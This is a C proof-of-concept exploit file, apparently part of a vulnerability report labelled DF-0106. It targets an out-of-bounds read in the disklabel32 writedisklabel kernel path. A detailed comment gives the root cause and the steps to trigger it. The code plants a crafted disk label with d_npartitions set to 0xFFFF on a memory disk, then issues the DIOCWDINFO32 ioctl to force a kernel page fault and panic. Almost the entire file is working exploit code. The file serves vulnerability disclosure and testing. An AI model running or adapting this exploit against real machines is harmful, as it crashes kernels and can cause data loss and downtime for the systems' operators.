DF-0106 / poc_writedisklabel.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 | /* * DF-0106 - dkcksum32 OOB read via crafted on-disk label in writedisklabel path * * Root-cause: l32_writedisklabel() (sys/kern/subr_disklabel32.c:363-364) reads * the EXISTING on-disk label from media and calls dkcksum32(dlp) on it WITHOUT * the d_npartitions > MAXPARTITIONS32 guard that protects the read path * (l32_readdisklabel, subr_disklabel32.c:225-226): * * if (dlp->d_magic == DISKMAGIC32 && * dlp->d_magic2 == DISKMAGIC32 && dkcksum32(dlp) == 0) { // NO GUARD * * dkcksum32() (sys/sys/disklabel32.h:150-161) computes its end pointer from the * attacker-controlled d_npartitions field and XOR-walks u_int16_t's to it: * * end = (u_int16_t *)&lp->d_partitions[lp->d_npartitions]; // UNBOUNDED * * A crafted disk with d_npartitions = 0xFFFF makes dkcksum32 walk ~1 MiB past * the I/O buffer (bp->b_data, a buffer-cache buffer of d_secsize bytes). When * the walk crosses an unmapped / stack-guard page the kernel faults: * * Fatal trap 12: page fault while in kernel mode (in writedisklabel) * * Trigger sequence (root / operator, device writable): * 1. Create a memory disk (vnconfig) and write a CRAFTED disklabel32 sector * at LABELSECTOR32 (byte offset d_secsize = 512) whose d_magic and * d_magic2 are DISKMAGIC32 and d_npartitions = 0xFFFF. * 2. Issue DIOCWDINFO32 on the slice device with a VALID label (obtained via * DIOCGDVIRGIN32). DIOCWDINFO first installs the label via DIOCSDINFO * (l32_setdisklabel -- the valid label passes), then calls * op_writedisklabel = l32_writedisklabel, which READS the crafted on-disk * sector and runs dkcksum32() over it -> OOB walk -> page fault. * * Build: cc -o poc_writedisklabel poc_writedisklabel.c * Run: ./poc_writedisklabel /dev/vn0 /dev/vn0s0 (as root) * * Setup (once, as root): * dd if=/dev/zero of=/tmp/oob.img bs=1m count=8 * vnconfig -c vn0 /tmp/oob.img # creates /dev/vn0 and /dev/vn0s0 * * Expected on vulnerable kernel (probabilistic -- depends on where the buffer * lands relative to an unmapped/stack-guard page; repeat a few times): * Fatal trap 12: page fault while in kernel mode * l32_writedisklabel() at l32_writedisklabel+0x... * panic: vm_fault: fault on ... */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/disklabel32.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* disklabel32 label lives at LABELSECTOR32 (=1) * d_secsize bytes into the slice */ #define SECSIZE 512 int main(int argc, char **argv) { struct disklabel32 crafted; /* malicious on-disk label */ struct disklabel32 virgin; /* valid label from DIOCGDVIRGIN32 */ const char *rawdev, *slicedev; int fd, sfd, r; ssize_t w; if (argc != 3) { fprintf(stderr, "usage: %s <raw-disk> <slice-device>\n" " e.g. %s /dev/vn0 /dev/vn0s0\n", argv[0], argv[0]); return 2; } rawdev = argv[1]; slicedev = argv[2]; /* * Step 1: plant a CRAFTED on-disk disklabel32 at sector 1 (byte 512). * Only d_magic / d_magic2 must match so writedisklabel's * (d_magic && d_magic2 && dkcksum32) short-circuit reaches dkcksum32; * d_npartitions = 0xFFFF is what sends dkcksum32 ~1 MiB out of bounds. * * Disk I/O must be sector-aligned, so we write a full 512-byte sector * (label occupies the first sizeof(label) bytes, the rest zero-padded). */ unsigned char sector[SECSIZE]; memset(sector, 0, sizeof(sector)); memset(&crafted, 0, sizeof(crafted)); crafted.d_magic = DISKMAGIC32; crafted.d_magic2 = DISKMAGIC32; crafted.d_npartitions = 0xFFFF; /* << the trigger */ crafted.d_secsize = SECSIZE; memcpy(sector, &crafted, sizeof(crafted)); fd = open(rawdev, O_RDWR); if (fd < 0) err(1, "open %s", rawdev); w = pwrite(fd, sector, sizeof(sector), (off_t)SECSIZE); if (w != (ssize_t)sizeof(sector)) err(1, "pwrite crafted label sector at offset %d", SECSIZE); fsync(fd); printf("[*] planted crafted label (d_npartitions=0x%x) at %s offset %d\n", crafted.d_npartitions, rawdev, SECSIZE); close(fd); /* * Step 2: open the slice device writable and fetch a VALID label from the * kernel (DIOCGDVIRGIN32). This label will pass l32_setdisklabel cleanly. */ sfd = open(slicedev, O_RDWR); if (sfd < 0) err(1, "open %s", slicedev); r = ioctl(sfd, DIOCGDVIRGIN32, &virgin); if (r < 0) err(1, "DIOCGDVIRGIN32 on %s", slicedev); printf("[*] got valid virgin label from kernel (d_npartitions=%u, " "d_secsize=%u)\n", virgin.d_npartitions, virgin.d_secsize); /* * Step 3: DIOCWDINFO32 -> internal DIOCSDINFO32 (sets label, valid) -> * op_writedisklabel reads sector 1 (our crafted label) and runs * dkcksum32() over it -> ~1 MiB OOB read. */ printf("[*] issuing DIOCWDINFO32 on %s -> writedisklabel reads crafted " "sector -> dkcksum32 OOB walk\n", slicedev); fflush(stdout); r = ioctl(sfd, DIOCWDINFO32, &virgin); if (r < 0) warn("DIOCWDINFO32 returned (kernel NOT panicked): %s", strerror(errno)); else printf("[!] DIOCWDINFO32 succeeded unexpectedly (r=%d)\n", r); close(sfd); return 0; } |